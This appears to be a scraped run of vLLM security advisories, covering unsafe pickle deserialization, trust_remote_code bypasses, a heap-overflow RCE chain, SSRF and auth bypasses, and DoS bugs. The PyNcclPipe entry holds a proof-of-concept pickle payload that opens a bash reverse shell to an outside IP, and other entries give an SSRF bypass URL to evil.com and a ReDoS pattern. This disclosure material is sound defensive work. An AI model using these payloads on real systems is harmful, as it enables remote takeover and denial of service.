See how vllm compares to other vendors in security performance
Impacted Deployments
Note that vLLM instances that do NOT make use of the mooncake integration are NOT vulnerable.
Description
vLLM integration with mooncake is vaulnerable to remote code execution due to using pickle based serialization over unsecured ZeroMQ sockets. The vulnerable sockets were set to listen on all network interfaces, increasing the likelihood that an attacker is able to reach the vulnerable ZeroMQ sockets to carry out an attack.
This is a similar to GHSA - x3m8 - f7g5 - qhm7, the problem is in
https://github.com/vllm-project/vllm/blob/32b14baf8a1f7195ca09484de3008063569b43c5/vllm/distributed/kvtransfer/kvpipe/mooncakepipe.py#L179
Here recvpyobj() Contains implicit pickle.loads(), which leads to potential RCE.
vllm-project vllm version v0.6.2 contains a vulnerability in the MessageQueue.dequeue() API function. The function uses pickle.loads to parse received sockets directly, leading to a remote code execution vulnerability. An attacker can exploit this by sending a malicious payload to the MessageQueue, causing the victim's machine to execute arbitrary code.
Impacted Environments
This issue ONLY impacts environments using the PyNcclPipe KV cache transfer integration with the V0 engine. No other configurations are affected.
Summary vLLM supports the use of the PyNcclPipe class to establish a peer-to-peer communication domain for data transmission between distributed nodes. The GPU-side KV-Cache transmission is implemented through the PyNcclCommunicator class, while CPU-side control message passing is handled via the sendobj and recvobj methods on the CPU side.
A remote code execution vulnerability exists in the PyNcclPipe service. Attackers can exploit this by sending malicious serialized data to gain server control privileges.
The intention was that this interface should only be exposed to a private network using the IP address specified by the --kv-ip CLI parameter. The vLLM documentation covers how this must be limited to a secured network: https://docs.vllm.ai/en/latest/deployment/security.html
Unfortunately, the default behavior from PyTorch is that the TCPStore interface will listen on ALL interfaces, regardless of what IP address is provided. The IP address given was only used as a client-side address to use. vLLM was fixed to use a workaround to force the TCPStore instance to bind its socket to a specified private interface.
This issue was reported privately to PyTorch and they determined that this behavior was intentional.
Details The PyNcclPipe implementation contains a critical security flaw where it directly processes client-provided data using pickle.loads , creating an unsafe deserialization vulnerability that can lead to Remote Code Execution.
1. Deploy a PyNcclPipe service configured to listen on port 18888 when launched: python from vllm.distributed.kvtransfer.kvpipe.pyncclpipe import PyNcclPipe from vllm.config import KVTransferConfig
config=KVTransferConfig( kvip="0.0.0.0", kvport=18888, kvrank=0, kvparallelsize=1, kvbuffersize=1024, kvbufferdevice="cpu" )
p=PyNcclPipe(config=config,localrank=0) p.recvtensor() # Receive data
2. The attacker crafts malicious packets and sends them to the PyNcclPipe service:
python from vllm.distributed.utils import StatelessProcessGroup
class Evil: def reduce(self): import os cmd='/bin/bash -c "bash -i >& /dev/tcp/172.28.176.1/8888 0>&1"' return (os.system,(cmd,))
client = StatelessProcessGroup.create( host='172.17.0.1', port=18888, rank=1, worldsize=2, )
client.sendobj(obj=Evil(),dst=0)
The call stack triggering RCE is as follows:
vllm.distributed.kvtransfer.kvpipe.pyncclpipe.PyNcclPipe.recvimpl -> vllm.distributed.kvtransfer.kvpipe.pyncclpipe.PyNcclPipe.recvmetadata -> vllm.distributed.utils.StatelessProcessGroup.recvobj -> pickle.loads
Getshell as follows:
!image
Reporters
This issue was reported independently by three different parties:
@kikayli (Zhuque Lab, Tencent) @omjeki Russell Bryant (@russellb)
Fix
https://github.com/vllm-project/vllm/pull/15988 -- vLLM now limits the TCPStore socket to the private interface as configured.
Summary
vLLM loads Hugging Face automap dynamic modules during model resolution without gating on trustremotecode, allowing attacker-controlled Python code in a model repo/path to execute at server startup.
---
Impact
An attacker who can influence the model repo/path (local directory or remote Hugging Face repo) can achieve arbitrary code execution on the vLLM host during model load. This happens before any request handling and does not require API access.
---
Affected Versions
All versions where vllm/modelexecutor/models/registry.py resolves automap entries with trygetclassfromdynamicmodule without checking trustremotecode (at least current main).
---
Details
During model resolution, vLLM unconditionally iterates automap entries from the model config and calls trygetclassfromdynamicmodule, which delegates to Transformers’ getclassfromdynamicmodule and executes the module code.
This occurs even when trustremotecode is false, allowing a malicious model repo to embed code in a referenced module and have it executed during initialization.
Relevant code
- vllm/modelexecutor/models/registry.py:856 — automap resolution - vllm/transformersutils/dynamicmodule.py:13 — delegates to getclassfromdynamicmodule, which executes code
---
Fixes
https://github.com/vllm-project/vllm/pull/32194
Credits
Reported by bugbunny.ai
Summary
A chain of vulnerabilities in vLLM allow Remote Code Execution (RCE):
1. Info Leak - PIL error messages expose memory addresses, bypassing ASLR 2. Heap Overflow - JPEG2000 decoder in OpenCV/FFmpeg has a heap overflow that lets us hijack code execution
Result: Send a malicious video URL to vLLM Completions or Invocations for a video model -> Execute arbitrary commands on the server
Completely default vLLM instance directly from pip, or docker, does not have authentication so "None" privileges are required, but even with non-default api-key enabled configuration this exploit is feasible through invocations route that allows payload to execute pre-auth.
Example heap target is provided, other heap targets can be exploited as well to achieve rce. Leak allows for simple ASLR bypass. Leak + heap overflow achieves RCE on versions prior to 0.14.1.
Deployments not serving a video model are not affected.
---
1. Vulnerability Overview
1.1 The Bug: JPEG2000 cdef Box Heap Overflow The JPEG2000 decoder used by OpenCV (cv2) honors a cdef box that can remap color channels. When Y (luma) is mapped into the U (chroma) plane buffer, the decoder writes a large Y plane into the smaller U buffer, causing a heap overflow.
Root Cause - cdef allows channel remapping (e.g., Y→U, U→Y). - Y plane size: W×H; U plane size: (W/2)×(H/2). - Overflow size = W×H - (W/2×H/2) = 0.75 × W × H bytes.
Example (150×64) - Y plane: 150×64 = 9,600 bytes - U plane: 75×32 = 2,400 bytes - Overflow: 7,200 bytes past the U buffer
1.2 Malicious cdef Box Offset Size Field Value 0 4 Box Length 0x00000016 (22 bytes) 4 4 Box Type 'cdef' 8 2 N (channels) 0x0003 10 2 Channel 0 Cn 0x0000 (Y channel) 12 2 Channel 0 Typ 0x0000 (color) 14 2 Channel 0 Asoc 0x0002 (→ maps Y into U plane) 16 2 Channel 1 Cn 0x0001 (U channel) 18 2 Channel 1 Typ 0x0000 (color) 20 2 Channel 1 Asoc 0x0001 (→ maps U into Y plane) 22 2 Channel 2 Cn 0x0002 (V channel) 24 2 Channel 2 Typ 0x0000 (color) 26 2 Channel 2 Asoc 0x0003 (→ maps V plane) Key control: Asoc=2 for channel 0 forces Y data into the U buffer, triggering the overflow.
---
Vulnerable Code Chain
1) Entry: vLLM accepts a remote videourl and downloads raw bytes
vLLM’s OpenAI-compatible API supports a videourl content part:
python class VideoURL(TypedDict, total=False): url: Required[str]
class ChatCompletionContentPartVideoParam(TypedDict, total=False): videourl: Required[VideoURL] type: Required[Literal["videourl"]]
Source: src/vllm/entrypoints/chatutils.py.
When the URL is HTTP(S), vLLM downloads it as raw bytes and passes the bytes into the modality loader:
python if urlspec.scheme.startswith("http"): data = connection.getbytes(url, timeout=fetchtimeout, allowredirects=...) return mediaio.loadbytes(data)
Source: src/vllm/multimodal/utils.py (MediaConnector.loadfromurl).
---
2) Decode: vLLM uses OpenCV (cv2) VideoCapture on an in-memory byte stream
The default video backend is OpenCV, and it constructs cv2.VideoCapture over a BytesIO buffer containing the downloaded bytes:
python backend = cls().getcv2videoapi() cap = cv2.VideoCapture(BytesIO(data), backend, []) if not cap.isOpened(): raise ValueError("Could not open video stream")
Source: src/vllm/multimodal/video.py (OpenCVVideoBackend.loadbytes).
The backend is selected from OpenCV’s stream-buffered backends registry:
python import cv2.videoioregistry as vr for backend in vr.getStreamBufferedBackends(): if vr.hasBackend(backend) and ...: apipref = backend break return apipref
Source: src/vllm/multimodal/video.py (OpenCVVideoBackend.getcv2videoapi).
Implication: vLLM is delegating container parsing + codec decode to OpenCV’s Video I/O stack (which, in typical builds, is backed by FFmpeg for MOV/MP4 and codecs like JPEG2000).
---
3) The actual overflow: Y (full-res) written into U (quarter-res)
When the decoder honors the remap and writes Y into the U-plane buffer, it writes too many bytes:
- Y plane bytes: \(W \times H\) - U plane bytes: \((W/2) \times (H/2)\) - Overflow bytes: \(W \times H - (W/2 \times H/2) = 0.75 \times W \times H\)
Concrete example tried (150×64):
- Y: \(150 \times 64 = 9600\) bytes - U: \(75 \times 32 = 2400\) bytes - Overflow: \(9600 - 2400 = 7200\) bytes past the end of the U allocation
This is a heap buffer overflow into whatever allocations follow the U-plane buffer in the decoder’s heap layout (structures, metadata, other buffers, etc.). The exact victims depend on build + runtime allocator layout.
---
The Exploit Chain
Vuln 1: PIL BytesIO Address Leak (ASLR Bypass)
When you send an invalid image to vLLM's multimodal endpoint, PIL throws an error like:
cannot identify image file <io.BytesIO object at 0x7a95e299e750> ^^^^^^^^^^^^^^^^ LEAKED ADDRESS!
vLLM returns this error to the client, leaking a heap address. This address is ~10.33 GB before libc in memory. With this leak, we reduce ASLR from 4 billion guesses to ~8 guesses.
Vuln 2: JPEG2000 cdef Heap Overflow (RCE)
vLLM uses OpenCV (cv2) to decode videos. OpenCV bundles FFmpeg 5.1.x which has a heap overflow in the JPEG2000 decoder. The OpenCV is used for video decoding so if we build a video from JPEG2000 frames it will reach the vuln:
vLLM API Request to Completions/Invocation ↓ OpenCV cv2.VideoCapture() ↓ FFmpeg 5.1 (bundled in OpenCV) ↓ JPEG2000 decoder (libopenjp2) ↓ HEAP OVERFLOW via malicious "cdef" box ↓ Overwrite function pointer → RCE!
How the overflow works: - JPEG2000 has a cdef box that remaps color channels - We remap Y (luma) into the U (chroma) buffer - Y plane = 9,600 bytes, U plane = 2,400 bytes - On small geometry like 150x64 pixel image we get 7,200 bytes overflow past the U buffer. We can grow that exponentially by making bigger images. - This overwrites an AVBuffer structure containing a free() function pointer. This could be any function pointer or other targets. - We set free = system() and opaque = "command string" - When the buffer is freed → system("our command") executes
---
vLLM Attack Surface
Affected Endpoints
Both multimodal endpoints are vulnerable:
POST /v1/chat/completions (with videourl in content) POST /v1/invocations (with videourl in content)
Request Flow
1. Attacker sends request with videourl pointing to malicious .mov file 2. vLLM fetches the video from the URL 3. vLLM passes video bytes to cv2.VideoCapture() 4. OpenCV's bundled FFmpeg decodes JPEG2000 frames 5. Malicious cdef box triggers heap overflow 6. AVBuffer.free pointer overwritten with system() 7. When buffer is released → system("attacker command") executes
---
Versions Affected
| Component | Version | Notes | |-----------|---------|-------| | vLLM | >= 0.8.3, < 0.14.1 | Default config vulnerable when serving a video model | | OpenCV (cv2) | 4.x with FFmpeg bundle | Bundled FFmpeg is vulnerable | | FFmpeg | 5.1.x (bundled) | JPEG2000 cdef overflow | | libopenjp2 | 2.x | Honors malicious cdef box |
---
Fixes
https://github.com/vllm-project/vllm/pull/31987 https://github.com/vllm-project/vllm/pull/32319 https://github.com/vllm-project/vllm/pull/32668
Summary
The SSRF protection fix for https://github.com/vllm-project/vllm/security/advisories/GHSA-qh4c-xf7m-gxfc can be bypassed in the loadfromurlasync method due to inconsistent URL parsing behavior between the validation layer and the actual HTTP client.
Affected Component
- File: vllm/connections.py - Function: loadfromurlasync
Vulnerability Details
Root Cause
The SSRF fix uses urllib3.util.parseurl() to validate and extract the hostname from user-provided URLs. However, loadfromurlasync uses aiohttp for making the actual HTTP requests, and aiohttp internally uses the yarl library for URL parsing.
These two URL parsers handle backslash characters (\) differently:
| Parser | Input URL | Parsed Host | Parsed Path | Behavior | |--------|-----------|-------------|-------------|----------| | urllib3.parseurl() | https://httpbin.org\@evil.com/ | httpbin.org | /%5C@evil.com/ | URL-encodes \ as %5C, treats \@evil.com/ as part of the path | | yarl (via aiohttp) | https://httpbin.org\@evil.com/ | evil.com | / | Treats \ as part of userinfo (user: httpbin.org\), the @ acts as the userinfo/host separator |
Attack Scenario
python Attacker provides this URL maliciousurl = "https://httpbin.org\\@evil.com/"
1. Validation layer (urllib3.parseurl) parsed = urllib3.util.parseurl(maliciousurl) parsed.host == "httpbin.org" ✅ Passes validation
2. Actual request (aiohttp with yarl) async with aiohttp.ClientSession() as session: async with session.get(maliciousurl) as response: # Request actually goes to evil.com! ❌ Bypass!
Why This Happens
1. yarl: Interprets httpbin.org\ as the userinfo component, and @ as the userinfo/host separator, so the URL is parsed as user=httpbin.org\, host=evil.com, path=/ 2. urllib3: URL-encodes the backslash as %5C, so \@evil.com/ becomes /%5C@evil.com/ which is treated as part of the path, leaving host=httpbin.org
This inconsistency allows an attacker to: - Bypass the hostname allowlist check - Access arbitrary internal/external services - Perform full SSRF attacks
Fixes
- https://github.com/vllm-project/vllm/pull/34743
Summary When vLLM is configured to use Mooncake, unsafe deserialization exposed directly over ZMQ/TCP will allow attackers to execute remote code on distributed hosts.
Details 1. Pickle deserialization vulnerabilities are well documented. 2. The mooncake pipe is exposed over the network (by design to enable disaggregated prefilling across distributed environments) using ZMQ over TCP, greatly increasing exploitability. ~~Further, the mooncake integration opens these sockets listening on all interfaces on the host, meaning it can not be configured to only use a private, trusted network.~~
Only sendersocket and receiverack are allowed to be accessed publicly, while the data actually decompressed by pickle.loads() comes from recvbytes. Its interface is defined as self.receiversocket.connect(f\"tcp://{dhost}:{drankoffset + 1}\"), where dhost is decodehost, a locally defined address 192.168.0.139,from mooncake.json (https://github.com/kvcache-ai/Mooncake/blob/main/doc/en/vllm-integration-v0.2.md?plain=1#L36).
3. The root problem is recvtensor() calls recvimpl which passes the raw network bytes to pickle.loads(). Additionally, it does not appear that there are any controls (network, authentication, etc) to prevent arbitrary users from sending this payload to the affected service.
Impact This is a remote code execution vulnerability impacting any deployments using Mooncake to distribute KV across distributed hosts.
Remediation This issue is resolved by https://github.com/vllm-project/vllm/pull/14228
Summary
A vulnerability in ASGI web servers and starlette's trust on those web servers enables an authentication bypass of the OpenAI API AuthenticationMiddleware, which was discovered during @x41sec's source code audit. It allows to use the API without providing the configured VLLMAPIKEY or --api-key.
Details
In https://github.com/vllm-project/vllm/blob/v0.14.0/vllm/entrypoints/openai/apiserver.py#L689-L692 the urlpath is taken from the URL, which is reconstructed by starlette based on the request scope.
py from starlette.datastructures import URL, Headers, MutableHeaders, State
...
urlpath = URL(scope=scope).path.removeprefix(rootpath) headers = Headers(scope=scope) if urlpath.startswith("/v1") and not self.verifytoken(headers): response = JSONResponse(content={"error": "Unauthorized"}, statuscode=401) return response(scope, receive, send) return self.app(scope, receive, send)
The request scope includes the request's Host: header and reconstructs the URL as shown below:
py f"{scheme}://{hostheader}{path}"
Neither starlette nor any of the ASGI servers (including uvicorn, which vllm uses) properly filter the Host: header for invalid characters. This allows an attacker to include special URL characters such as / or ? in the Host: header and thereby control the reconstructed URL and it's .path attribute.
FastAPI/starlette's routing uses the HTTP path and does not depend on the parsed url.path attribute, allowing attackers to reach an endpoint via a certain path while providing a different value in the .path.
Impact - Instances of vllm that use an API Key for the OpenAI API and expose the API to attackers. - Instances behind an RFC-conforming web server (such as nginx) are not affected.
Description The vllm/modelexecutor/weightutils.py implements hfmodelweightsiterator to load the model checkpoint, which is downloaded from huggingface. It use torch.load function and weightsonly parameter is default value False. There is a security warning on https://pytorch.org/docs/stable/generated/torch.load.html, when torch.load load a malicious pickle data it will execute arbitrary code during unpickling.
Impact This vulnerability can be exploited to execute arbitrary codes and OS commands in the victim machine who fetch the pretrained repo remotely.
Note that most models now use the safetensors format, which is not vulnerable to this issue.
References https://pytorch.org/docs/stable/generated/torch.load.html Fix: https://github.com/vllm-project/vllm/pull/12366
Summary A memory corruption vulnerability that leading to a crash (denial-of-service) and potentially remote code execution (RCE) exists in vLLM versions 0.10.2 and later, in the Completions API endpoint. When processing user-supplied prompt embeddings, the endpoint loads serialized tensors using torch.load() without sufficient validation.
Due to a change introduced in PyTorch 2.8.0, sparse tensor integrity checks are disabled by default. As a result, maliciously crafted tensors can bypass internal bounds checks and trigger an out-of-bounds memory write during the call to todense(). This memory corruption can crash vLLM and potentially lead to code execution on the server hosting vLLM.
Details A vulnerability that can lead to RCE from the completions API endpoint exists in vllm, where due to missing checks when loading user-provided tensors, an out-of-bounds write can be triggered. This happens because the default behavior of torch.load(tensor, weightsonly=True) since pytorch 2.8.0 is to not perform validity checks for sparse tensors, and this needs to be enabled explicitly using the torch.sparse.checksparsetensorinvariants context manager.
The vulnerability is in the following code in vllm/entrypoints/renderer.py:148
python def loadandvalidateembed(embed: bytes) -> EngineEmbedsPrompt: tensor = torch.load( io.BytesIO(pybase64.b64decode(embed, validate=True)), weightsonly=True, maplocation=torch.device("cpu"), ) assert isinstance(tensor, torch.Tensor) and tensor.dtype in ( torch.float32, torch.bfloat16, torch.float16, ) tensor = tensor.todense()
Because of the missing checks, loading invalid prompt embedding tensors provided by the user can cause an out-of-bounds write in the call to todense .
Impact All users with access to this API are able to exploit this vulnerability. Unsafe deserialization of untrusted input can be abused to achieve DoS and potentially remote code execution (RCE) in the vLLM server process. This impacts deployments running vLLM as a server or any instance that deserializes untrusted/model-provided payloads.
Fix
https://github.com/vllm-project/vllm/pull/27204
Acknowledgements
Finder: AXION Security Research Team (Omri Fainaro, Bary Levy): discovery and coordinated disclosure.
Summary
vllm has a critical remote code execution vector in a config class named NemotronNanoVLConfig. When vllm loads a model config that contains an automap entry, the config class resolves that mapping with getclassfromdynamicmodule(...) and immediately instantiates the returned class. This fetches and executes Python from the remote repository referenced in the automap string. Crucially, this happens even when the caller explicitly sets trustremotecode=False in vllm.transformersutils.config.getconfig. In practice, an attacker can publish a benign-looking frontend repo whose config.json points via automap to a separate malicious backend repo; loading the frontend will silently run the backend’s code on the victim host.
Details
The vulnerable code resolves and instantiates classes from automap entries without checking whether those entries point to a different repo or whether remote code execution is allowed.
python class NemotronNanoVLConfig(PretrainedConfig): modeltype = 'LlamaNemotronNanoVL'
def init(self, kwargs): super().init(kwargs)
if visionconfig is not None: assert "automap" in visionconfig and "AutoConfig" in visionconfig["automap"] # <-- vulnerable dynamic resolution + instantiation happens here visionautoconfig = getclassfromdynamicmodule(visionconfig["automap"]["AutoConfig"].split("--")[::-1]) self.visionconfig = visionautoconfig(visionconfig) else: self.visionconfig = PretrainedConfig()
getclassfromdynamicmodule(...) is capable of fetching and importing code from the Hugging Face repo specified in the mapping. trustremotecode is not enforced for this code path. As a result, a frontend repo can redirect the loader to any backend repo and cause code execution, bypassing the trustremotecode guard.
Impact
This is a critical vulnerability because it breaks the documented trustremotecode safety boundary in a core model-loading utility. The vulnerable code lives in a common loading path, so any application, service, CI job, or developer machine that uses vllm’s transformer utilities to load configs can be affected. The attack requires only two repos and no user interaction beyond loading the frontend model. A successful exploit can execute arbitrary commands on the host.
Fixes
https://github.com/vllm-project/vllm/pull/28126
Summary
Two model implementation files hardcode trustremotecode=True when loading sub-components, bypassing the user's explicit --trust-remote-code=False security opt-out. This enables remote code execution via malicious model repositories even when the user has explicitly disabled remote code trust.
### Details
Affected files (latest main branch):
1. vllm/modelexecutor/models/nemotronvl.py:430 python visionmodel = AutoModel.fromconfig(config.visionconfig, trustremotecode=True)
2. vllm/modelexecutor/models/kimik25.py:177 python cachedgetimageprocessor(self.ctx.modelconfig.model, trustremotecode=True)
Both pass a hardcoded trustremotecode=True to HuggingFace API calls, overriding the user's global --trust-remote-code=False setting.
Relation to prior CVEs: - CVE-2025-66448 fixed automap resolution in vllm/transformersutils/config.py (config loading path) - CVE-2026-22807 fixed broader automap at startup - Both fixes are present in the current code. These hardcoded instances in model files survived both patches — different code paths.
Impact
Remote code execution. An attacker can craft a malicious model repository that executes arbitrary Python code when loaded by vLLM, even when the user has explicitly set --trust-remote-code=False. This undermines the security guarantee that trustremotecode=False is intended to provide.
Remediation: Replace hardcoded trustremotecode=True with self.config.modelconfig.trustremotecode in both files. Raise a clear error if the model component requires remote code but the user hasn't opted in.
vLLM is an inference and serving engine for large language models (LLMs). Prior to 0.22.1, the vLLM Dockerfile is vulnerable to a dependency confusion attack through the flashinfer-jit-cache package. The package is installed from a custom index (flashinfer.ai/whl/) using --extra-index-url, but the package name was not registered on PyPI, and UVINDEXSTRATEGY="unsafe-best-match" is set globally. An attacker who registers flashinfer-jit-cache on PyPI with version 0.6.11.post2 can execute arbitrary code as root during the Docker build and backdoor every resulting container image, enabling exfiltration of all user prompts, API credentials, and model data from production vLLM deployments This vulnerability is fixed in 0.22.1.
vLLM versions >= 0.10.2 and < 0.13.0 are missing sparse tensor validation in multimodal embeddings processing. Because PyTorch disables sparse tensor invariant checks by default, an attacker can submit crafted embedding requests with malformed (negative or out-of-bounds) tensor indices, when the prompt-embeds feature is enabled, to trigger crashes or resource exhaustion (denial of service), with potential for out-of-bounds/write-what-where memory corruption. This continues CVE-2025-62164, whose prior fix only disabled the feature by default rather than addressing the root cause.
Summary
The structuredoutputs.regex API parameter passes a user-supplied regex string directly to grammar compiler backends with no compilation timeout. In the xgrammar backend, the string reaches compileregex() with no guard. In the outlines backend, validateregexisbuildable() blocks structural issues (lookarounds, backreferences) but provides zero protection against exponential DFA state-space explosion. Patterns like (a+)+b pass all checks and hang the inference worker.
Root Cause
backendxgrammar.py:91 — no timeout: python ctx = self.compiler.compileregex(grammarspec)
backendoutlines.py:299–330 — structural checks only, no complexity analysis: python def validateregexisbuildable(regex: str) -> None: sreparse.parse(regex) # AST parse only — does not detect exponential patterns checkunsupported(...) # blocks lookarounds/backrefs, not nested quantifiers
backendoutlines.py:64 — no timeout: python oc.Index(regexstring, vocabulary.inner)
Impact
Denial of service — one request with an adversarial regex pattern hangs an inference worker indefinitely.
Remediation
Wrap compileregex() and oc.Index() calls in a thread with a deadline (e.g., 5 seconds). Add complexity analysis to validateregexisbuildable() to detect nested quantifier patterns before compilation.
Summary
Users can crash the vLLM engine serving multimodal models by passing multimodal embedding inputs with correct ndim but incorrect shape (e.g. hidden dimension is wrong), regardless of whether the model is intended to support such inputs (as defined in the Supported Models page).
The issue has existed ever since we added support for image embedding inputs, i.e. #6613 (released in v0.5.5)
Details
Using image embeddings as an example:
- For models that support image embedding inputs, the engine crashes when scattering the embeddings to inputsembeds (mismatched shape) - For models that don't support image embedding inputs, the engine crashes when validating the inputs inside getinputembeddings (validation fails).
This happens because we only validate ndim of the tensor, but not the full shape, in input processor (via MultiModalDataParser).
Impact
- Denial of service by crashing the engine
Mitigation
- Use API key to limit access to trusted users. - Set --limit-mm-per-prompt to 0 for all non-text modalities to ban multimodal inputs, which includes multimodal embedding inputs. However, the model would then only accept text, defeating the purpose of using a multi-modal model.
Resolution
- https://github.com/vllm-project/vllm/pull/27204
Affected Environments
Note that this issue only affects the V0 engine, which has been off by default since v0.8.0. Further, the issue only applies to a deployment using tensor parallelism across multiple hosts, which we do not expect to be a common deployment pattern.
Since V0 is has been off by default since v0.8.0 and the fix is fairly invasive, we have decided not to fix this issue. Instead we recommend that users ensure their environment is on a secure network in case this pattern is in use.
The V1 engine is not affected by this issue.
Impact
In a multi-node vLLM deployment using the V0 engine, vLLM uses ZeroMQ for some multi-node communication purposes. The secondary vLLM hosts open a SUB ZeroMQ socket and connect to an XPUB socket on the primary vLLM host.
https://github.com/vllm-project/vllm/blob/c21b99b91241409c2fdf9f3f8c542e8748b317be/vllm/distributed/devicecommunicators/shmbroadcast.py#L295-L301
When data is received on this SUB socket, it is deserialized with pickle. This is unsafe, as it can be abused to execute code on a remote machine.
https://github.com/vllm-project/vllm/blob/c21b99b91241409c2fdf9f3f8c542e8748b317be/vllm/distributed/devicecommunicators/shmbroadcast.py#L468-L470
Since the vulnerability exists in a client that connects to the primary vLLM host, this vulnerability serves as an escalation point. If the primary vLLM host is compromised, this vulnerability could be used to compromise the rest of the hosts in the vLLM deployment.
Attackers could also use other means to exploit the vulnerability without requiring access to the primary vLLM host. One example would be the use of ARP cache poisoning to redirect traffic to a malicious endpoint used to deliver a payload with arbitrary code to execute on the target machine.
Impact In a multi-node vLLM deployment, vLLM uses ZeroMQ for some multi-node communication purposes. The primary vLLM host opens an XPUB ZeroMQ socket and binds it to ALL interfaces. While the socket is always opened for a multi-node deployment, it is only used when doing tensor parallelism across multiple hosts.
Any client with network access to this host can connect to this XPUB socket unless its port is blocked by a firewall. Once connected, these arbitrary clients will receive all of the same data broadcasted to all of the secondary vLLM hosts. This data is internal vLLM state information that is not useful to an attacker.
By potentially connecting to this socket many times and not reading data published to them, an attacker can also cause a denial of service by slowing down or potentially blocking the publisher.
Detailed Analysis
The XPUB socket in question is created here:
https://github.com/vllm-project/vllm/blob/c21b99b91241409c2fdf9f3f8c542e8748b317be/vllm/distributed/devicecommunicators/shmbroadcast.py#L236-L237
Data is published over this socket via MessageQueue.enqueue() which is called by MessageQueue.broadcastobject():
https://github.com/vllm-project/vllm/blob/790b79750b596043036b9fcbee885827fdd2ef3d/vllm/distributed/devicecommunicators/shmbroadcast.py#L452-L453
https://github.com/vllm-project/vllm/blob/790b79750b596043036b9fcbee885827fdd2ef3d/vllm/distributed/devicecommunicators/shmbroadcast.py#L475-L478
The MessageQueue.broadcastobject() method is called by the GroupCoordinator.broadcastobject() method in parallelstate.py:
https://github.com/vllm-project/vllm/blob/790b79750b596043036b9fcbee885827fdd2ef3d/vllm/distributed/parallelstate.py#L364-L366
The broadcast over ZeroMQ is only done if the GroupCoordinator was created with usemessagequeuebroadcaster set to True:
https://github.com/vllm-project/vllm/blob/790b79750b596043036b9fcbee885827fdd2ef3d/vllm/distributed/parallelstate.py#L216-L219
The only case where GroupCoordinator is created with usemessagequeuebroadcaster is the coordinator for the tensor parallelism group:
https://github.com/vllm-project/vllm/blob/790b79750b596043036b9fcbee885827fdd2ef3d/vllm/distributed/parallelstate.py#L931-L936
To determine what data is broadcasted to the tensor parallism group, we must continue tracing. GroupCoordinator.broadcastobject() is called by GroupCoordinator.broadcoasttensordict():
https://github.com/vllm-project/vllm/blob/790b79750b596043036b9fcbee885827fdd2ef3d/vllm/distributed/parallelstate.py#L489
which is called by broadcasttensordict() in communicationop.py:
https://github.com/vllm-project/vllm/blob/790b79750b596043036b9fcbee885827fdd2ef3d/vllm/distributed/communicationop.py#L29-L34
If we look at getdriverinputandbroadcast() in the V0 workerbase.py, we'll see how this tensor dict is formed:
https://github.com/vllm-project/vllm/blob/790b79750b596043036b9fcbee885827fdd2ef3d/vllm/worker/workerbase.py#L332-L352
but the data actually sent over ZeroMQ is the metadatalist portion that is split from this tensordict. The tensor parts are sent via torch.distributed and only metadata about those tensors is sent via ZeroMQ.
https://github.com/vllm-project/vllm/blob/54a66e5fee4a1ea62f1e4c79a078b20668e408c6/vllm/distributed/parallelstate.py#L61-L83
Patches
https://github.com/vllm-project/vllm/pull/17197
Workarounds
Prior to the fix, your options include: 1. Do not expose the vLLM host to a network where any untrusted connections may reach the host. 2. Ensure that only the other vLLM hosts are able to connect to the TCP port used for the XPUB socket. Note that port used is random.
References
Relevant code first introduced in https://github.com/vllm-project/vllm/pull/6183
Summary A critical performance vulnerability has been identified in the input preprocessing logic of the multimodal tokenizer. The code dynamically replaces placeholder tokens (e.g., <|audio|>, <|image|>) with repeated tokens based on precomputed lengths. Due to inefficient list concatenation operations, the algorithm exhibits quadratic time complexity (O(n²)), allowing malicious actors to trigger resource exhaustion via specially crafted inputs.
Details Affected Component: inputprocessorforphi4mm function. https://github.com/vllm-project/vllm/blob/8cac35ba435906fb7eb07e44fe1a8c26e8744f4e/vllm/modelexecutor/models/phi4mm.py#L1182-L1197
The code modifies the inputids list in-place using inputids = inputids[:i] + tokens + inputids[i+1:]. Each concatenation operation copies the entire list, leading to O(n) operations per replacement. For k placeholders expanding to m tokens, total time becomes O(kmn), approximating O(n²) in worst-case scenarios.
PoC Test data demonstrates exponential time growth: python testcases = [100, 200, 400, 800, 1600, 3200, 6400] runtimes = [0.002, 0.007, 0.028, 0.136, 0.616, 2.707, 11.854] # seconds Doubling input size increases runtime by ~4x (consistent with O(n²)).
Impact Denial-of-Service (DoS): An attacker could submit inputs with many placeholders (e.g., 10,000 <|audio1|> tokens), causing CPU/memory exhaustion. Example: 10,000 placeholders → ~100 million operations.
Remediation Recommendations Precompute all placeholder positions and expansion lengths upfront. Replace dynamic list concatenation with a single preallocated array. python Pseudocode for O(n) solution newinputids = [] for token in inputids: if token is placeholder: newinputids.extend([token] precomputedlength) else: newinputids.append(token)
Summary A Denial of Service (DoS) vulnerability can be triggered by sending a single HTTP GET request with an extremely large header to an HTTP endpoint. This results in server memory exhaustion, potentially leading to a crash or unresponsiveness. The attack does not require authentication, making it exploitable by any remote user.
Details The vulnerability leverages the abuse of HTTP headers. By setting a header such as X-Forwarded-For to a very large value like ("A" 5800000000), the server's HTTP parser or application logic may attempt to load the entire request into memory, overwhelming system resources.
Impact What kind of vulnerability is it? Who is impacted? Type of vulnerability: Denial of Service (DoS)
Resolution Upgrade to a version of vLLM that includes appropriate HTTP limits by deafult, or use a proxy in front of vLLM which provides protection against this issue.
Summary The API key support in vLLM performed validation using a method that was vulnerable to a timing attack. This could potentially allow an attacker to discover a valid API key using an approach more efficient than brute force.
Details https://github.com/vllm-project/vllm/blob/4b946d693e0af15740e9ca9c0e059d5f333b1083/vllm/entrypoints/openai/apiserver.py#L1270-L1274
API key validation used a string comparison that will take longer the more characters the provided API key gets correct. Data analysis across many attempts can allow an attacker to determine when it finds the next correct character in the key sequence. Impact Deployments relying on vLLM's built-in API key validation are vulnerable to authentication bypass using this technique.
Summary Users can crash the vLLM engine serving multimodal models that use the Idefics3 vision model implementation by sending a specially crafted 1x1 pixel image. This causes a tensor dimension mismatch that results in an unhandled runtime error, leading to complete server termination.
Details The vulnerability is triggered when the image processor encounters a 1x1 pixel image with shape (1, 1, 3) in HWC (Height, Width, Channel) format. Due to the ambiguous dimensions, the processor incorrectly assumes the image is in CHW (Channel, Height, Width) format with shape (3, H, W). This misinterpretation causes an incorrect calculation of the number of image patches, resulting in a fatal tensor split operation failure.
Crash location: vllm/modelexecutor/models/idefics3.py line 672: python def processimageinput(self, imageinput: ImageInputs) -> torch.Tensor | list[torch.Tensor]: # ... numpatches = imageinput["numpatches"] return [e.flatten(0, 1) for e in imagefeatures.split(numpatches.tolist())]
The split() call fails because the computed numpatches value (17) does not match the actual tensor dimension (9): RuntimeError: splitwithsizes expects splitsizes to sum exactly to 9 (input tensor's size at dimension 0), but got splitsizes=[17]
